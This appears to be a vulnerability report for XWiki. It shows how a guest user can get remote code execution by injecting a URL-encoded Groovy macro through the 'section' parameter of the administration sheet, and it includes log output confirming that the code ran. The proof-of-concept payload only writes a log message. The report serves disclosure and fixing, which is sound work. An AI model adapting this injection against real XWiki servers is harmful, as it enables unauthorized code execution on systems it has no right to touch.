Remote code execution through the section parameter in Administration as guest

Steps to reproduce

1. As a guest user, go to <server>/xwiki/bin/view/Main/WebHome?sheet=XWiki.AdminSheet&viewer=content&section=%5D%5D%7B%7B%2Fhtml%7D%7D%7B%7Basync%7D%7D%7B%7Bgroovy%7D%7Dservices.logging.getLogger(%22attacker%22).error(%22Attack%20succeeded!%22)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D

Expected results
The content is not executed, no error is logged in console.

Actual results
The content is executed and the following error is displayed in the logs:

2023-07-05 15:21:50,350 [org.xwiki.rendering.async.internal.AsyncRendererJob@14a7a3cf([async, macro, xwiki:XWiki.AdminSheet, 22, author, xwiki:XWiki.superadmin, rendering.restricted, false, secureDocument, xwiki:XWiki.AdminSheet, 176])] ERROR attacker                       - Attack succeeded!